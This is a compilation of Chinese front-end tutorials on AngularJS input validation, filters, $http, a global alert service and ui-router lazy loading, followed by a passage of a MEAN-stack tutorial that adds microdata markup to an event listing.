Medialoot提供了一篇非常简单的文章《AngularJS for Absolute Begginers》。本文分为14个部分覆盖了所有的重要内容，并且每一节的摘要部分都给出了概述。是另一个初学者评价非常高的资源。


Medium.com


《AngularJS tutorial for designers》解决了WEB设计师在学习其他教程时面临的问题。因为大部分的教程都是针对开发者的，而很少有针对WEB设计师的。本教程强调了对于设计师非常重要的概念，非常有用。


本文来自: Coder信息网 由 Specs 翻译


 angularjs学习笔记—指令input

作者：小俞

来源： angularjs学习笔记—指令input



                    
input[text]


input一般和ngModel结合使用来实现双向绑定，同时angular提供了很多表单校验的指令



	required 必填

	ngRequired 必填（ngRequired可以控制是否是必填校验）


	ngMinlength 最小长度

	ngMaxlength 最大长度

	pattern 正则匹配

	ngPattern 正则匹配

	ngChange 内容改变时触发

	
ngTrim 是否trim数据，默认true


#html
<div ng-controller="LearnCtrl">
    <input type="text"
           ng-model="username"
           required
           ng-required="true"
           ng-minlength="6"
           ng-maxlength="15"
           pattern="[0-9]{6,15}"
           ng-pattern="/^[0-9]{6,15}$/"
           ng-change="change()"
           ng-trim="false"
            />
</div>

#script
angular.module('learnModule', [])

.controller('LearnCtrl', function ($scope) {
    $scope.change = function () {
        alert('change');
    }

});






当input有校验属性时，如果输入的值不符合校验条件，model会被更新成undefined。如果想正常更新model可以通过ngModelOptions设置。


版本：v1.3.9-local


input[checkbox]


当未设置ngTrueValue和ngFalseValue时，默认值是true和false。


#html
<input type="checkbox" ng-model="check"/>
<p>{{check}}</p>



设置了这两个值了，就可以指定选中和未选中的model值。checkbox同样也有ng-chage指令。



  ngTrueValue和ngFalseValue的参数是表达式哦。




#html
<div ng-controller="LearnCtrl">
    <input type="checkbox"
           ng-model="check"
           ng-true-value="'YES'"
           ng-false-value="'N'+'O'"
           ng-change="change()"/>

    <p>{{check}}</p>        
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.check = 'YES';
            $scope.change = function () {
                alert('change');
            }
        });



input[radio]


单选按钮



	value    选择中时的值

	ngValue  选择中时的值（表达式）

	ngchange model更新触发 




  没有required属性，没办法做必填校验，所以最好初始化的时候默认选中一个。




#html
<div ng-controller="LearnCtrl">
    <input type="radio"
           ng-model="radio"
           ng-change="change()"
           value="value1"/>
    <input type="radio"
           ng-model="radio"
           ng-change="change()"
           ng-value="'value2'"/>

    <p>{{radio}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.radio = 'value2';
            $scope.change = function () {
                alert('change');
            }
        });



input[date]


H5新增的日期选择器。



	required   必填

	ngRequired 必填

	min        最小日期

	max        最大日期

	ngChange   model更新触发




  如果给date初始化值，model一定得是Date类型，否则会报错。




#html
<div ng-controller="LearnCtrl">
    <input type="date"
           ng-model="date"
           min="2015-12-12"
           max="2015-12-22"
           rquired
           ng-required
           ng-change="change()"/>

    <p>{{date}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.date = new Date('2015-12-12');
            $scope.change = function () {
                alert('change');
            }
        });



input[datetime-local]


日期时间选择器

用法基本同input[date]，就是比date多了个时间选择。


input[month]


月份选择器，只能选择年和月。



	required    必填

	ngRequired  必填

	min         最小月份

	max         最大月份

	ngChange    model更新触发




  如果给month初始化值，model一定得是Date类型，否则会报错。




#html
<div ng-controller="LearnCtrl">
    <input type="month"
           ng-model="month"
           required
           ng-required
           min="2015-01"
           max="2015-12"
           ng-change="change()"/>

    <p>{{month}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.month = new Date('2015-05');
            $scope.change = function () {
                alert('change');
            }
        });



input[time]


时间选择



	required   必填

	ngRequired 必填

	min        最小时间

	max        最大时间

	ngChange   model更新时触发




  如果给time初始化值，model一定得是Date类型，否则会报错。




#html
<div ng-controller="LearnCtrl">
    <input type="time"
           required
           ng-required
           min="10:00:00"
           max="23:00:00"
           ng-model="time"
           ng-change="change()"/>

    <p>{{time}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.time = new Date('2015-12-12 20:00:00');
            $scope.change = function () {
                alert('change');
            }
        });



input[week]


周选择



	required   必填

	ngRequired 必填

	min        最小周数

	max        最大周数

	ngChange   model更新触发




  如果给week初始化值，model一定得是Date类型，否则会报错。




#html
<div ng-controller="LearnCtrl">
    <input type="week"
           ng-model="week"
           required
           ng-required
           min="2015-W12"
           max="2015-W20"
           ng-change="change()"/>

    <p>{{week}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.week = new Date('2015-01-12');
            $scope.change = function () {
                alert('change');
            }
        });



input[number]


数字类型



	required    必填

	ngRequired  必填

	min         最小值

	max         最大值

	ngMinlength 最小长度

	ngMaxlength 最大长度

	pattern     正则匹配

	ngPattern   正则匹配

	ngChange    model更新触发




  即使没有使用校验属性，只要数据不是Number类型，model就会被更新成undefined。




#html
<div ng-controller="LearnCtrl">
    <input type="number"
           ng-model="number"
           required
           ng-required
           min="10"
           max="100"
           ng-minlength=2
           ng-maxlength="3"
           pattern="3[0-9]{1}"
           ng-pattern="/^3[0-9]{1}$/"
           ng-change="change()"/>

    <p>{{number}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.number = 35;
            $scope.change = function () {
                alert('change');
            }
        });



input[email]


邮箱类型



	required    必填

	ngRequired  必填

	ngMinlength 最小长度

	ngMaxlength 最大长度

	pattern     正则匹配

	ngPattern   正则匹配

	ngChange    model更新触发




  即使没有使用校验属性，只要数据不符合邮箱格式，model就会被更新成undefined。




#html
<div ng-controller="LearnCtrl">
    <input type="email"
           ng-model="email"
           required
           ng-required
           ng-minlength="10"
           ng-maxlength="20"
           pattern="1@123.com"
           ng-pattern="/^1@123.com$/"
           ng-change="change()"/>

    <p>{{email}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.email = '';
            $scope.change = function () {
                alert('change');
            }
        });



input[url]


url类型



	required    必填

	ngRequired  必填

	ngMinlength 最小长度

	ngMaxlength 最大长度

	pattern     正则匹配

	ngPattern   正则匹配

	ngChange    model更新触发




  即使没有使用校验属性，只要数据不符合url格式，model就会被更新成undefined。




#html
<div ng-controller="LearnCtrl">
    <input type="url"
           ng-model="url"
           required
           ng-required
           ng-minlength="6"
           ng-maxlength="15"
           pattern="http://www.test.com"
           ng-pattern="/^http://www.test.com$/"
           ng-change="change()"/>

    <p>{{url}}</p>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.url = '';
            $scope.change = function () {
                //alert('change');
            }
        });



 AngularJs中实现全局提示框

作者：savokiss

来源： AngularJs中实现全局提示框



                    
源码


	Demo


	github




前言

想给项目中添加一个全局提示，发现这本书里刚好有这个例子：《用angularjs开发下一代web应用》，就直接拿来用了，下面把代码简单总结一下，同时也发现coding.net和worktile上的全局提示效果也类似，以后研究一下看有什么不同也总结到这里咯

啥样

就直接用bs的警告框啦~，Duang~


功能


	可以设置message和type，type就是bs内置的几种颜色


	默认提示3秒框自动关闭，或者点击x号关闭




代码

模板

<div class="alert alert-{{type || 'info'}}" ng-show="message">
    <button type="button" class="close"  ng-click="hideAlert()">
        <span class="glyphicon glyphicon-remove"></span>
    </button>
    {{message}}
</div>

指令

/**
 * 提示框
 */
commonToolDirectives.directive('alertBar',[function(){

  return {
    restrict: 'EA',
    templateUrl: 'src/common/views/alertBar.html',
    scope : {
      message : "=",
      type : "="
    },
    link: function(scope, element, attrs){

      scope.hideAlert = function() {
        scope.message = null;
        scope.type = null;
      };

    }
  };
}]);

服务

/**
 * 提示框数据
 */
commonServices.factory('TipService', ['$timeout', function($timeout) {
  return {
    message : null,
    type : null,
    setMessage : function(msg,type){

      this.message = msg;
      this.type = type;

      //提示框显示最多3秒消失
      var _self = this;
      $timeout(function(){
        _self.clear();
      },3000);
    },
    clear : function(){
      this.message = null;
      this.type = null;
    }
  };
}]);

用法


	
因为是全局提示，所以就只有一个，在index.html中添加：

<!--全局提示框-->
<alert-bar class="alert_bar" message="tipService.message" type="tipService.type"></alert-bar>

同时保证他的z-index最高



	
然后因为需要在页面上直接访问tipService，需要在最外层controller（如果没有可以直接绑定到$rootScope)中绑定:

//提示信息服务
$scope.tipService = TipService;



	
调用的时候在c中直接设置message和type就可以了

TipService.setMessage('登录成功', 'success');

当然从上面的模板代码可以看到，如果不传第二个参数，type默认是info，也就是那个蓝色的





效果

我的效果就是这样啦~


最后

东西比较少没有封装成ng模块，基本的需求可以实现，有机会还是要看看人家是怎么做这个全局提示的，嗯！


 Angular.JS学习记录（三）

作者：Hockor

来源： Angular.JS学习记录（三）



                    
Angular过滤器


AngularJS 过滤器可用于转换数据




	过滤器
  	描述





	currency
  	格式化数字为货币格式。



	filter
  	从数组项中选择一个子集。



	lowercase
  	格式化字符串为小写。



	orderBy
  	根据某个表达式排列数组。



	uppercase
  	格式化字符串为大写。





uppercase 过滤器格式化字符串为大写


（ng-app写在HTML标签上的哦！）：


html<body>
<div ng-controller="hockor">
    <p>循环对象:</p>
    <ul>
        <li ng-repeat="x in names | orderBy:'country' ">
            {{ x.name + ', ' + x.country | uppercase}}
        </li>
    </ul>
</div>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script>
    "use strict";
    function hockor($scope) {
        $scope.names = [
            {name:'Andy',country:'Norway'},
            {name:'Bruce',country:'Sweden'},
            {name:'kevin',country:'Denmark'}
        ];
    }
</script>
</body>



lowercase 过滤器格式化字符串为小写：


html<body>
<div ng-controller="hockor">
    <p>循环对象:</p>
    <ul>
        <li ng-repeat="x in names | orderBy:'country' ">
            {{ x.name + ', ' + x.country | lowercase}}
        </li>
    </ul>
</div>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script>
    "use strict";
    function hockor($scope) {
        $scope.names = [
            {name:'ANDY',country:'Norway'},
            {name:'BRUCE',country:'Sweden'},
            {name:'kEVIN',country:'Denmark'}
        ];
    }
</script>
</body>



orderBy 过滤器根据某个表达式排列数组


其实上面的例子中我已经用到了这个过滤器，并且是以国家的首字母排序的，接下来我们用姓名排序


html<body>
<div ng-controller="hockor">
    <p>循环对象:</p>
    <ul>
        <li ng-repeat="x in names | orderBy:'name' ">
            {{ x.name + ', ' + x.country}}
        </li>
    </ul>
</div>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script>
    "use strict";
    function hockor($scope) {
        $scope.names = [
            {name:'ANDY',country:'Norway'},
            {name:'BRUCE',country:'Sweden'},
            {name:'kEVIN',country:'Denmark'}
        ];
    }
</script>
</body>



效果如下：





filter 过滤器从数组中选择一个子集


输入过滤器可以通过一个管道字符（|）和一个过滤器添加到指令中，该过滤器后跟一个冒号和一个模型名称。


html<body>
<div ng-controller="hockor">
    <p>循环对象:</p>
    <p><input type="text" ng-model="name"></p>
    <ul>
        <li ng-repeat="x in names | filter:name | orderBy:'country'">
            {{ x.name + ', ' + x.country}}
        </li>
    </ul>
</div>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script>
    "use strict";
    function hockor($scope) {
        $scope.names = [
            {name:'ANDY',country:'Norway'},
            {name:'BRUCE',country:'Sweden'},
            {name:'kEVIN',country:'Denmark'},
            {name:'Cindy',country:'china'},
            {name:'hockor',country:'china'}
        ];
    }
</script>
</body>



效果如下：



Angular$Http


$http 是 AngularJS 中的一个核心服务，用于读取远程服务器的数据,当从服务端载入 JSON 数据时，返回的会是一个数组。
HTML文件


html<body>
<table ng-controller="hockor">
    <tr ng-repeat = "x in arr | orderBy: 'City'">
        <td ng-bind="x.Name"></td>
        <td ng-bind="x.Country"></td>
        <td ng-bind="x.City"></td>
    </tr>
</table>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script>
    "use strict";
    function hockor($scope,$http) {
        $http.get("./json.json").success(function(res) {
            $scope.arr = res;
            //ng-repeat  迭代输出，与JS数组完美结合，可以使用oderBy排序输出
        });
    }
</script>
</body>



JSON文件：


json[
    {
        "Name": "Alfreds Futterkiste",
        "City": "Berlin",
        "Country": "Germany"
    },
    {
        "Name": "Berglunds snabbköp",
        "City": "Luleå",
        "Country": "Sweden"
    },
    {
        "Name": "Centro comercial Moctezuma",
        "City": "México D.F.",
        "Country": "Mexico"
    },
    {
        "Name": "Ernst Handel",
        "City": "Graz",
        "Country": "Austria"
    },
    {
        "Name": "FISSA Fabrica Inter. Salchichas S.A.",
        "City": "Madrid",
        "Country": "Spain"
    },
    {
        "Name": "Galería del gastrónomo",
        "City": "Barcelona",
        "Country": "Spain"
    },
    {
        "Name": "Island Trading",
        "City": "Cowes",
        "Country": "UK"
    },
    {
        "Name": "Königlich Essen",
        "City": "Brandenburg",
        "Country": "Germany"
    },
    {
        "Name": "Laughing Bacchus Wine Cellars",
        "City": "Vancouver",
        "Country": "Canada"
    },
    {
        "Name": "Magazzini Alimentari Riuniti",
        "City": "Bergamo",
        "Country": "Italy"
    },
    {
        "Name": "North/South",
        "City": "London",
        "Country": "UK"
    },
    {
        "Name": "Paris spécialités",
        "City": "Paris",
        "Country": "France"
    },
    {
        "Name": "Rattlesnake Canyon Grocery",
        "City": "Albuquerque",
        "Country": "USA"
    },
    {
        "Name": "Simons bistro",
        "City": "København",
        "Country": "Denmark"
    },
    {
        "Name": "The Big Cheese",
        "City": "Portland",
        "Country": "USA"
    },
    {
        "Name": "Vaffeljernet",
        "City": "Århus",
        "Country": "Denmark"
    },
    {
        "Name": "Wolski Zajazd",
        "City": "Warszawa",
        "Country": "Poland"
    }
]




示例如下：




以上我们是按照City排序的，
其中的ng-bind="x.Name"类似于我们之前的{{name}},ng-bind的好处是可以在加载完之前不然用户看到难看的{{name}}！

具体实例大家可以自行测试！


PS： 顺带提一句，Angular的排序除了正序还有倒序，倒序的使用很简单：x in arr | orderBy: '-City'这样就可以了，对的，你没有看错，加个-号就行啦！
原创文章：转载请注明！


 基于ui-router的非侵入式angular按需加载方案

作者：kuitos

来源： 基于ui-router的非侵入式angular按需加载方案



                    
原文：https://github.com/kuitos/kuitos.github.io/issues/31
全部文章：https://github.com/kuitos/kuitos.github.io/issues/



用过angular1.x(后面提到的angular均指代的angular1.x框架)的同学应该都知道，angular自身的模块系统是不具备按需加载的能力的，笔者也赞同angular的模块系统是真正称得上设计上的败笔的观点的。2015年被黑的最惨的前端主流框架莫过于angular了，但实际上angular真正设计上的硬伤只有两个：鸡肋的模块系统以及相比其他MVVM框架略显丑陋的脏值检测机制。关于其他各种所谓致命缺陷的立论其实都是站不住脚的，这些观点的提出我可以归结于使用者对angular的不熟悉，不服的同学欢迎来辩😂

angular模块系统的问题

扯远了，说回正题。由于angular自身模块系统的限制，module不支持运行时添加依赖，也就是我们在定义入口模块时必须声明所有依赖项。当我们面临多项目整合的场景时(往往这类场景有按需加载的需求)，这个就很恶心了，我们总不能在入口页写好所有可能会嵌入系统的项目的依赖项吧，而且要确保入口模块能找到所有依赖项对应的模块，相应的js还必须在入口处就加载好。。  更多关于angular模块化的问题，具体可以参见民工叔的这篇文章Angular的模块机制

市面上angular实现按需加载的通常方案

目前市面上流行的解决方案大概是这样的：基于requirejs等模块加载器，我们子模块的代码包裹在requirejs的模块定义语法下(define)，然后在具体需要的时候在require回调里invoke我们子模块的controller或service等，可以参见这个seed项目angular-requirejs-seed

但是这种方式也有一些明显的问题：


	requirejs配合angular实现的那一套按需加载的方案实在是太挫了，真的是有碍观瞻啊！😂它是一套完全侵入式的方式，我个人是无法接受的。而且我认为在中小型规模的系统中，基于angular框架，我们自己需要写的代码量其实不会太大，即使在首页全部引入，在经过简单的合并压缩再配合gzip，文件体积完全在可控范围内，按需加载在这样的场景下价值有限。这也是我一直拒绝在angular体系中引入requirejs的原因。


	如果我们采用angular的纯module的方式开发，那么我们自然会有包含各种controller、service、directive的不同模块，类似angular.module('directives',[]).directive('grid',function(){})
的写法，而这些子模块必须在入口模块定义时声明其为依赖项，像这样angular.module('app',['directives'])即便你采用requirejs做按需加载。


	我们不采用子单元纯module的方式开发，而是将所有的子单元都挂载在入口模块上，子模块写法类似angular.module('app').directive('grid',function(){})，这种做法副作用会相对少点，但是如果碰到多个项目在各个系统之间作嵌入时，很难做到不用修改代码即可完成嵌入，除非你能确保所有的系统入口模块命名一样。




基于ui-router的解决方案

刚好最近公司在做整个系统的去iframe化(没错之前各个产品嵌入主系统的做法是通过iframe。。不要笑！！😂)，因为各个产品之间的切换是通过tab完成的，tab的切换又是通过ui-router控制去定位到各个产品的入口html，所以基于ui-router，我的思路是这样的：


	首先要理清ui-router的工作方式：tab切换时触发ui-router的路由，ui-router会通过配置好的路由规则找寻相应的模板配置(这里假设我们路由配置的都是templateUrl的方式)，得到url后会去发起ajax请求拿模板，拿到模板再会填充到ui-view内容区，最后做compile、link处理(省去其他细节)，这时候ui-view区域显示的就是编译好的模板内容了。


	基于此，我们可以在模板做编译之前，分析并拿到模板中的script标签，然后通过简单的脚步加载器将模板中定义的js加载到浏览器内存里，在所有的js资源加载完毕之后再去调用编译流程，一切OK！这里要顺带解释一个事情，因为ui-router里采用element.html(tpl)的方式将模板填充到ui-view中的，所以模板中的script标签并不会被浏览器按正常方式解析，而link、style标签不会受到影响(出于安全考虑？具体原因没查到知道的同学请不吝指教)。




但是我们要做的当然不能是直接去找到ui-router这一块的代码然后修改源码，这种做法是有违开闭原则的也是我一直批判的方式，不到万不得已绝不要去修改第三方插件的源码！ui-router处理路由模板的主逻辑在uiView指令里，然后angular里面又提供了强大的decorator机制。开码！

angular
    .module('ui.router.requirePolyfill', ['ng', 'ui.router', 'oc.lazyLoad'])
    .decorator('uiViewDirective', DecoratorConstructor);

  /**
   * 装饰uiView指令,给其加入按需加载的能力
   */
  DecoratorConstructor.$inject = ['$delegate', '$log', '$q', '$compile', '$controller', '$interpolate', '$state', '$ocLazyLoad'];
  function DecoratorConstructor($delegate, $log, $q, $compile, $controller, $interpolate, $state, $ocLazyLoad) {

    // 移除原始指令逻辑
    $delegate.pop();
    // 在原始ui-router的模版加载逻辑中加入脚本请求代码,实现按需加载需求
    $delegate.push({

      restrict: 'ECA',
      priority: -400,
      compile : function (tElement) {
        var initial = tElement.html();
        return function (scope, $element, attrs) {

          var current = $state.$current,
            name = getUiViewName(scope, attrs, $element, $interpolate),
            locals = current && current.locals[name];

          if (!locals) {
            return;
          }

          $element.data('$uiView', {name: name, state: locals.$$state});

          var template = locals.$template ? locals.$template : initial,
            processResult = processTpl(template);

          var compileTemplate = function () {
            $element.html(processResult.tpl);

            var link = $compile($element.contents());

            if (locals.$$controller) {
              locals.$scope = scope;
              locals.$element = $element;
              var controller = $controller(locals.$$controller, locals);
              if (locals.$$controllerAs) {
                scope[locals.$$controllerAs] = controller;
              }
              $element.data('$ngControllerController', controller);
              $element.children().data('$ngControllerController', controller);
            }

            link(scope);
          };

          // 主要实现
          // 模版中不含脚本则直接编译,否则在获取完脚本之后再做编译
          if (processResult.scripts.length) {
            loadScripts(processResult.scripts).then(compileTemplate);
          } else {
            compileTemplate();
          }

        };
      }

    });

    return $delegate;

最早期我自己实现了一个简单的script-loader用来做基本的动态脚本加载，但是后来发现一个问题：angular框架下我们单单的只是加载脚本是没用的，我们必须把脚本定义的module注入到主app的module下才有意义。尽管在下仔细读过大部分angular的核心部件代码，但是动态注册模块这个事情难度还是很大的，改造工作一度停滞不前。。直到我发现了这个库ocLazyLoad，这之后事情就好办了。  
附上完整的实现代码：ui-router-require-polyfill，文档。这里面为了解决脚本加载的时序问题，我在loadScript方法里加入了提取script seq属性的机制用于确定脚本顺序，同时为了解决gulp脚本合并时的问题，个人简单改造了下gulp-usemin插件，改造后的插件在这里，要做发布的脚本合并时请配合使用这个改造过的插件。

写在最后

这一套方案目前是我能想到的最接近完美的方案，最主要的是它是非侵入式而且基本不需要对原有angular体系下的代码做任何改造，即可实现按需加载&模块移植的需求的方式。如果有同学有改进建议或者更好的方案，欢迎一起探讨。
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首先，将来自 Meetup.com 的即将举办的活动信息添加到 UGLI 主页。


HTML 和微数据


如果访问 Meetup.com 上的 HTML5 DenverUsers Group，您会看到一个类似图 1 的网页。


图 1. 一场即将举办的 HTML5 Denver User Group 会议的 Meetup.com 信息





可以看到，使用即将举办的活动信息进一步自定义 UGLI 主页所需的所有原始材料，都在 Meetup.com 页面上（即将发表的演讲的标题、会议时间和地点，等等），但Meetup.com 页面的设计与该数据紧密耦合。您想要提取并在 MEAN 应用程序中重用的信息，与 HTML 元素杂乱地混在一起，如清单 1 所示。（为了清晰性和简洁性，我对HTML 进行了编辑。）


清单 1. Meetup.com HTML源代码


<ul>
    <li itemscope="" itemtype="http://data-vocabulary.org/Event">

        <span itemprop="eventType" 
              style="display:none;">Meetup</span>
        <h3>
            <a href="http://www.meetup.com/HTML5-Denver-Users-Group/events/160326502/" itemprop="url">
                <span itemprop="summary">"Developing Offline Applications" and "HTML 5 Animations"</span>
            </a>
        </h3>

        <!-- snip -->
    </li>
</ul>



活动的标题（“Developing Offline Applications” 和 “HTML 5 Animations”）深入嵌套在 HTML中的多层中。就 HTML 文档（和您的 Web 浏览器）而言，这个任意的字符串只是嵌套在一个无序列表(<ul>) 内的几个列表项(<li>) 之一。这个列表项有一个三级标题(<h3>)，大概二级和一级标题都已在文档分层结构中定义。在标题内是一个超链接 (<ahref>)，其中进而包含一个任意的文本 <span>。


信息要按 Meetup.com 想要的格式显示，所有这些 HTML标记必不可少。您的任务是以一种完全不同的方式在您应用程序中显示信息：您需要找到一种方式来从显示中分离出信息。


需要使用两个不同的语义层，如清单 1 所示。最基本的语义层我刚才已讨论：一项是一个列表项，另一项是一个超链接。这就是文档 语义。另一层是事件语义，由 eventType、url 和 summary等关键字表示。这些关键字与文档的呈现方式毫无关系。它们向搜索引擎（和查看 HTML 源代码的初学者）暗示信息的 “更高级含义”。这些属性是 HTML Microdata 规范的一部分。（有关微数据及其元数据前身的更多信息，请参阅 Microformats、microdata 和 RDFa！哦天哪！ 边栏。）


这个特定的列表项中仅包含一个 event 的信息。搜索引擎知道此事实，是因为设计该页面的人向该列表项添加了itemtype="http://data-vocabulary.org/Event"。该页面包含许多任意超链接，其中带有
itemprop="url" 的超链接是 event本身的链接。eventType 为 Meetup— 一个任意字符串，但 Meetup.com会在其所有网页上一致地使用它。活动的 summary 由带 itemprop="summary" 属性的
<span> 来标识。


<span> 元素是浏览器在呈现页面时忽略的一些 HTML 元素之一。<b>元素内的文本呈现为加粗字体；<h1> 文本的显示字号比 <h2>文本更大；<a> 文本可单击，通常使用蓝色且带下划线。当然，所有这些默认样式规则都可使用 CSS 覆盖。但<span> 标记的存在仅用于添加您自己的 CSS 样式 — 或者对于 清单 1中的 Meetup.com HTML 代码段，用于将 "Developing Offline Applications" and "HTML5 Animations" 字符串包装在 itemprop="summary" 语义标签中。


有关可添加到 MEAN 标记中来进一步描述事件的完整元数据项列表，可首先访问 Meetup.com 用于定义事件的 URL：http://data-vocabulary.org/Event。


向主页添加一个占位符事件


大体了解 Meetup.com 如何显示事件信息后，可对 uGLI 应用程序执行相同操作。


在测试应用程序的 root 中键入 mongod 来启动 MongoDB，然后键入 grunt 启动 Web 应用程序。在 Web浏览器中访问 http://localhost:3000 时，您应看到在上一期中自定义的主页（如图 2 所示）。


图 2. UGLI 主页





我想向主页添加即将举办的 HTML5 Denver User Group活动。本教程的剩余部分将迭代式地完成此工作。首先，添加一些静态占位符数据来描绘页面的基本外观的线框图。


在文本编辑器中打开 public/modules/core/views/home.client.view.html。在标语下，添加活动的新标记，如清单 2 所示。


清单 2. public/modules/core/views/home.client.view.html


<section data-ng-controller="HomeController">
  <div class="jumbotron text-center">
    <!-- snip -->
  </div>

  <div class="row">
    <div>Monday, September 22, 2014</div>
    <h3><a href="http://www.meetup.com/HTML5-Denver-Users-Group/events/160326502/">
    "Developing Offline Applications" and "HTML 5 Animations"</a></h3>
    <div class="col-md-4">
     <h4>When</h4>
     <p>6pm</p>
     <h4>Where</h4>
     <address>
       <span>Rally Software</span><br>
       1550 Wynkoop<br>     
       Denver, CO<br>
     </address>
    </div>

    <div class="col-md-8">
     <p><b>6 pm : "Developing Offline Applications with HTML 5" by Venkat Subramaniam</b></p> 
     <p><b>7 pm: Dinner and Networking</b></p> 
     <p><b>7:30 pm: "HTML 5 Animations - building true richness on the web" by Venkat Subramaniam</b></p>
    </div>
  </div>
</section>



在浏览器中查看更新的主页时，它应类似于图 3。


图 3. UGLI 主页线框图





有了基本的 HTML


默认样式更美观。为此，需要添加一些语义。


Bootstrap 提供了您使用的默认结构化 HTML 元素（比如 <div> 和<h3>）的内置样式。它还提供了一些不属于默认 HTML 元素的附加的结构化类，比如 row

和col。


初学的 Web 开发人员常常会考虑网页的结构，而不是显示的信息。结果是，他们使用像 big-red-italic 和left-column-header 这样的名称来编写自定义 CSS 类。从语法上讲该方法并没有错，但我发现使用像event-date 和 event-location这样的语义名称时，网站的长期维护更容易。这样，当客户在一年后返回要求将所有分类汇总标为绿色而不是红色时，我可编写一个 CSS 类来识别显示了哪些内容

(subtotals)，而不是 如何显示(green-body-text)。我也不太可能不经意地更改页面上其他恰好也使用了 green-body-text CSS规则的元素。


返回到您刚编写的 HTML，添加一些具有合适的语义的 CSS 类，比如 event、event-date 和
event-title：


<div class="row center-block event">
<div class="event-date">Monday, September 22, 2014</div>
<h3 class="event-title"><a href="http://www.meetup.com/HTML5-Denver-Users-Group/events/160326502/">
    "Developing Offline Applications" and "HTML 5 Animations"</a></h3>



center-block 结构类来自 上一期中介绍的 Bootstrap 库。稍后将会看到，将 event 类的 width 减小到 75%

时，center-block 将确保左侧和右侧的空白区域均等。


这非常适合在同一个元素上混合使用结构和语义类。事实上，从长远上来讲，它使我更容易快速识别哪些类是特定于应用程序的(event-*)，哪些类是通用的（row、center-block）。


将这些类添加到 HTML 后，就可以定义一些自定义 CSS 规则了。在文本编辑器中打开 public/modules/core/css/core.css。因为每个模块都拥有自己的CSS，所以可保持 “面向组件” 的理念。而且通过抓取整个子目录树，更容易在项目间共享模块。


添加 CSS 样式规则，如清单 3 所示。


清单 3. public/modules/core/css/core.css


.event {
    width: 75%;
}

.event-date {
    font-style: italic;
}

.event-title {
    margin-top: 0;
}



现在您的主页看起来没那么粗糙，更加美观了，如图 4 所示。


图 4. 带 CSS 样式的 UGLI 主页





最后，再次返回添加微数据元数据。能否跳过一步，在 CSS 规则中使用微数据元素，而不定义自定义元素？当然可以。但我想将它们分开。毕竟，它们具有两种不同的用途。一个用于 CSS样式，另一个用于搜索引擎优化 (SEO)。假设您 5年前遇到一个用户案例，要求您将微数据迁移到另一个更新的规范。如果在满足案例要求的同时，带来了影响网站外观的副作用，就太遗憾了。这两个特性应是完全不同的。


再一次在文本编辑器中打开 public/modules/core/views/home.client.view.html。为该活动添加新的语义微数据标记，如清单 4所示。（有关使用微数据标记活动的范例，请参阅 富代码段 - 活动。）


清单 4. 添加微数据


<div class="row center-block event" 
   itemscope 
   itemtype="http://data-vocabulary.org/Event">
  <span itemprop="eventType" 
      style="display:none;">Meetup</span> 
  <time class="event-date" 
      itemprop="startDate" 
      datetime="2014-09-22T18:00-06:00">Monday, September 22, 2014</time>
  <h3 class="event-title"><a href="http://www.meetup.com/HTML5-Denver-Users-Group/events/160326502/" 
    itemprop="url"><span itemprop="summary">"Developing Offline Applications" and 
    "HTML 5 Animations"</span></a></h3>
  <div class="col-md-4">
    <h4>When</h4>
    <p>6pm</p>
    <h4>Where</h4>
    <address itemprop="location" 
         itemscope 
         itemtype="http://data-vocabulary.org/?Organization">
      <span itemprop="name">Rally Software</span><br>
      <span itemprop="address" 
          itemscope 
          itemtype="http://data-vocabulary.org/Address">
        <span itemprop="street-address">1550 Wynkoop</span><br>  
        <span itemprop="locality">Denver</span>, <span itemprop="region">CO</span><br>
      </span>
    </address>
  </div>

  <div class="col-md-8" itemprop="description">
    <p><b>6 pm : "Developing Offline Applications with HTML 5" by Venkat Subramaniam</b></p> 
    <p><b>7 pm: Dinner and Networking</b></p> 
    <p><b>7:30 pm: "HTML 5 Animations - building true richness on the web" by Venkat Subramaniam</b></p>
  </div>
</div>



肯定需要大量工作，最终才能在浏览器中得到与之前完全相同的显示结果，是不是？但值得高兴的是，由于您费力添加的所有语义数据，您的网站上升到了搜索结果的最前面。


我们不会逐行地详细解释清单 4，我仅指出一些重要的地方。


与 清单 1 中的 Meetup.com 示例一样，我们向一个没有显示的元素添加了eventType（因为它仅用于 SEO）：


<span itemprop="eventType" 
      style="display:none;">Meetup</span>



接下来，向活动添加一个日期以供人和机器使用：


<time class="event-date" 
      itemprop="startDate" 
      datetime="2014-09-22T18:00-06:00">Monday, September 22, 2014</time>



作为人类，您可立即分析字符串 Monday, September 22, 2014，认识到它是一个日期。您还能够将 9/22/2014 和2014-09-22 识别为同一个日期。但计算机更加注重字面内容，像这样的细小的格式更改可能导致重大的故障。在这个示例中，您执行了多处更改来消除歧义：



	您将 HTML 元素从通用的 <div> 升级为更具体的 <time>（一个新的 HTML5元素）。

	CSS event-date 类识别数据的内容，而不是外观。*   itemprop="startDate" 微数据属性将此日期识别为 event 的startDate。*   datetime 属性（HTML5 <time> 元素的一部分）清晰地表明该时间为 ISO 8601格式。这样，既可提供一种机器可使用的时间，又可提供一种用于显示和人类使用的格式良好的时间。



对 HTML 的最大更改包括活动的地址，如清单 5 所示。您在 Event 模式内嵌套了多种新模式—Organization and Address。


清单 5. 添加组织和地址的微数据


<h4>Where</h4>
<address itemprop="location" 
         itemscope 
         itemtype="http://data-vocabulary.org/?Organization">
    <span itemprop="name">Rally Software</span><br>
    <span itemprop="address" 
          itemscope 
